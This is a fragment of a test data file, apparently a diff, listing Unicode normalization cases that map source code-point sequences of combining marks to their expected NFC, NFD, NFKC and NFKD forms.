+{ source: [0x0061, 0x0F35, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0F35, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0F35, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0F35, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0F35, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0F37, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0F37, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0F37, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0F37, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0F37, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0F37, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0F37, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0F37, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0F37, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0F37, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x302A, 0x031B, 0x1DCE, 0x0F39, 0x0062], NFC: [0x0061, 0x1DCE, 0x031B, 0x0F39, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x031B, 0x0F39, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x031B, 0x0F39, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x031B, 0x0F39, 0x302A, 0x0062] },
+{ source: [0x0061, 0x0F39, 0x302A, 0x031B, 0x1DCE, 0x0062], NFC: [0x0061, 0x1DCE, 0x0F39, 0x031B, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x0F39, 0x031B, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x0F39, 0x031B, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x0F39, 0x031B, 0x302A, 0x0062] },
+{ source: [0x0061, 0x0F72, 0x0F71, 0x0EC8, 0x0F71, 0x0062], NFC: [0x0061, 0x0EC8, 0x0F71, 0x0F71, 0x0F72, 0x0062], NFD: [0x0061, 0x0EC8, 0x0F71, 0x0F71, 0x0F72, 0x0062], NFKC: [0x0061, 0x0EC8, 0x0F71, 0x0F71, 0x0F72, 0x0062], NFKD: [0x0061, 0x0EC8, 0x0F71, 0x0F71, 0x0F72, 0x0062] },
+{ source: [0x0061, 0x0F71, 0x0F72, 0x0F71, 0x0EC8, 0x0062], NFC: [0x0061, 0x0EC8, 0x0F71, 0x0F71, 0x0F72, 0x0062], NFD: [0x0061, 0x0EC8, 0x0F71, 0x0F71, 0x0F72, 0x0062], NFKC: [0x0061, 0x0EC8, 0x0F71, 0x0F71, 0x0F72, 0x0062], NFKD: [0x0061, 0x0EC8, 0x0F71, 0x0F71, 0x0F72, 0x0062] },
+{ source: [0x0061, 0x0F74, 0x0F72, 0x0F71, 0x0F72, 0x0062], NFC: [0x0061, 0x0F71, 0x0F72, 0x0F72, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F72, 0x0F72, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F72, 0x0F72, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F72, 0x0F72, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0F72, 0x0F74, 0x0F72, 0x0F71, 0x0062], NFC: [0x0061, 0x0F71, 0x0F72, 0x0F72, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F72, 0x0F72, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F72, 0x0F72, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F72, 0x0F72, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0321, 0x0F74, 0x0F72, 0x0F74, 0x0062], NFC: [0x0061, 0x0F72, 0x0F74, 0x0F74, 0x0321, 0x0062], NFD: [0x0061, 0x0F72, 0x0F74, 0x0F74, 0x0321, 0x0062], NFKC: [0x0061, 0x0F72, 0x0F74, 0x0F74, 0x0321, 0x0062], NFKD: [0x0061, 0x0F72, 0x0F74, 0x0F74, 0x0321, 0x0062] },
+{ source: [0x0061, 0x0F74, 0x0321, 0x0F74, 0x0F72, 0x0062], NFC: [0x0061, 0x0F72, 0x0F74, 0x0F74, 0x0321, 0x0062], NFD: [0x0061, 0x0F72, 0x0F74, 0x0F74, 0x0321, 0x0062], NFKC: [0x0061, 0x0F72, 0x0F74, 0x0F74, 0x0321, 0x0062], NFKD: [0x0061, 0x0F72, 0x0F74, 0x0F74, 0x0321, 0x0062] },
+{ source: [0x0061, 0x0F74, 0x0F72, 0x0F71, 0x0F7A, 0x0062], NFC: [0x0061, 0x0F71, 0x0F72, 0x0F7A, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F72, 0x0F7A, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F72, 0x0F7A, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F72, 0x0F7A, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0F7A, 0x0F74, 0x0F72, 0x0F71, 0x0062], NFC: [0x0061, 0x0F71, 0x0F7A, 0x0F72, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F7A, 0x0F72, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F7A, 0x0F72, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F7A, 0x0F72, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0F74, 0x0F72, 0x0F71, 0x0F7B, 0x0062], NFC: [0x0061, 0x0F71, 0x0F72, 0x0F7B, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F72, 0x0F7B, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F72, 0x0F7B, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F72, 0x0F7B, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0F7B, 0x0F74, 0x0F72, 0x0F71, 0x0062], NFC: [0x0061, 0x0F71, 0x0F7B, 0x0F72, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F7B, 0x0F72, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F7B, 0x0F72, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F7B, 0x0F72, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0F74, 0x0F72, 0x0F71, 0x0F7C, 0x0062], NFC: [0x0061, 0x0F71, 0x0F72, 0x0F7C, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F72, 0x0F7C, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F72, 0x0F7C, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F72, 0x0F7C, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0F7C, 0x0F74, 0x0F72, 0x0F71, 0x0062], NFC: [0x0061, 0x0F71, 0x0F7C, 0x0F72, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F7C, 0x0F72, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F7C, 0x0F72, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F7C, 0x0F72, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0F74, 0x0F72, 0x0F71, 0x0F7D, 0x0062], NFC: [0x0061, 0x0F71, 0x0F72, 0x0F7D, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F72, 0x0F7D, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F72, 0x0F7D, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F72, 0x0F7D, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0F7D, 0x0F74, 0x0F72, 0x0F71, 0x0062], NFC: [0x0061, 0x0F71, 0x0F7D, 0x0F72, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F7D, 0x0F72, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F7D, 0x0F72, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F7D, 0x0F72, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0F74, 0x0F72, 0x0F71, 0x0F80, 0x0062], NFC: [0x0061, 0x0F71, 0x0F72, 0x0F80, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F72, 0x0F80, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F72, 0x0F80, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F72, 0x0F80, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0F80, 0x0F74, 0x0F72, 0x0F71, 0x0062], NFC: [0x0061, 0x0F71, 0x0F80, 0x0F72, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F80, 0x0F72, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F80, 0x0F72, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F80, 0x0F72, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0F82, 0x0062], NFC: [0x00E0, 0x05AE, 0x0F82, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0F82, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0F82, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0F82, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0F82, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0F82, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0F82, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0F82, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0F82, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0F83, 0x0062], NFC: [0x00E0, 0x05AE, 0x0F83, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0F83, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0F83, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0F83, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0F83, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0F83, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0F83, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0F83, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0F83, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0F84, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0F84, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0F84, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0F84, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0F84, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0F84, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0F84, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0F84, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0F84, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0F84, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0F86, 0x0062], NFC: [0x00E0, 0x05AE, 0x0F86, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0F86, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0F86, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0F86, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0F86, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0F86, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0F86, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0F86, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0F86, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0F87, 0x0062], NFC: [0x00E0, 0x05AE, 0x0F87, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0F87, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0F87, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0F87, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0F87, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0F87, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0F87, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0F87, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0F87, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0FC6, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0FC6, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0FC6, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0FC6, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0FC6, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0FC6, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0FC6, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0FC6, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0FC6, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0FC6, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x0334, 0x1037, 0x0062], NFC: [0x0061, 0x0334, 0x093C, 0x1037, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x093C, 0x1037, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x093C, 0x1037, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x093C, 0x1037, 0x3099, 0x0062] },
+{ source: [0x0061, 0x1037, 0x3099, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x0334, 0x1037, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x1037, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x1037, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x1037, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1039, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1039, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1039, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1039, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1039, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1039, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1039, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1039, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1039, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1039, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x103A, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x103A, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x103A, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x103A, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x103A, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x103A, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x103A, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x103A, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x103A, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x103A, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x108D, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x108D, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x108D, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x108D, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x108D, 0x059A, 0x0062] },
+{ source: [0x0061, 0x108D, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x108D, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x108D, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x108D, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x108D, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x135D, 0x0062], NFC: [0x00E0, 0x05AE, 0x135D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x135D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x135D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x135D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x135D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x135D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x135D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x135D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x135D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x135E, 0x0062], NFC: [0x00E0, 0x05AE, 0x135E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x135E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x135E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x135E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x135E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x135E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x135E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x135E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x135E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x135F, 0x0062], NFC: [0x00E0, 0x05AE, 0x135F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x135F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x135F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x135F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x135F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x135F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x135F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x135F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x135F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1714, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1714, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1714, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1714, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1714, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1714, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1714, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1714, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1714, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1714, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1734, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1734, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1734, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1734, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1734, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1734, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1734, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1734, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1734, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1734, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x17D2, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x17D2, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x17D2, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x17D2, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x17D2, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x17D2, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x17D2, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x17D2, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x17D2, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x17D2, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x17DD, 0x0062], NFC: [0x00E0, 0x05AE, 0x17DD, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x17DD, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x17DD, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x17DD, 0x0315, 0x0062] },
+{ source: [0x0061, 0x17DD, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x17DD, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x17DD, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x17DD, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x17DD, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0300, 0x05AE, 0x1D16D, 0x18A9, 0x0062], NFC: [0x00E0, 0x1D16D, 0x05AE, 0x18A9, 0x0062], NFD: [0x0061, 0x1D16D, 0x05AE, 0x18A9, 0x0300, 0x0062], NFKC: [0x00E0, 0x1D16D, 0x05AE, 0x18A9, 0x0062], NFKD: [0x0061, 0x1D16D, 0x05AE, 0x18A9, 0x0300, 0x0062] },
+{ source: [0x0061, 0x18A9, 0x0300, 0x05AE, 0x1D16D, 0x0062], NFC: [0x00E0, 0x1D16D, 0x18A9, 0x05AE, 0x0062], NFD: [0x0061, 0x1D16D, 0x18A9, 0x05AE, 0x0300, 0x0062], NFKC: [0x00E0, 0x1D16D, 0x18A9, 0x05AE, 0x0062], NFKD: [0x0061, 0x1D16D, 0x18A9, 0x05AE, 0x0300, 0x0062] },
+{ source: [0x0061, 0x302E, 0x059A, 0x0316, 0x1939, 0x0062], NFC: [0x0061, 0x0316, 0x059A, 0x1939, 0x302E, 0x0062], NFD: [0x0061, 0x0316, 0x059A, 0x1939, 0x302E, 0x0062], NFKC: [0x0061, 0x0316, 0x059A, 0x1939, 0x302E, 0x0062], NFKD: [0x0061, 0x0316, 0x059A, 0x1939, 0x302E, 0x0062] },
+{ source: [0x0061, 0x1939, 0x302E, 0x059A, 0x0316, 0x0062], NFC: [0x0061, 0x0316, 0x1939, 0x059A, 0x302E, 0x0062], NFD: [0x0061, 0x0316, 0x1939, 0x059A, 0x302E, 0x0062], NFKC: [0x0061, 0x0316, 0x1939, 0x059A, 0x302E, 0x0062], NFKD: [0x0061, 0x0316, 0x1939, 0x059A, 0x302E, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x193A, 0x0062], NFC: [0x00E0, 0x05AE, 0x193A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x193A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x193A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x193A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x193A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x193A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x193A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x193A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x193A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x193B, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x193B, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x193B, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x193B, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x193B, 0x059A, 0x0062] },
+{ source: [0x0061, 0x193B, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x193B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x193B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x193B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x193B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1A17, 0x0062], NFC: [0x00E0, 0x05AE, 0x1A17, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1A17, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1A17, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1A17, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1A17, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1A17, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1A17, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1A17, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1A17, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1A18, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1A18, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1A18, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1A18, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1A18, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1A18, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1A18, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1A18, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1A18, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1A18, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1A60, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1A60, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1A60, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1A60, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1A60, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1A60, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1A60, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1A60, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1A60, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1A60, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1A75, 0x0062], NFC: [0x00E0, 0x05AE, 0x1A75, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1A75, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1A75, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1A75, 0x0315, 0x0062] },
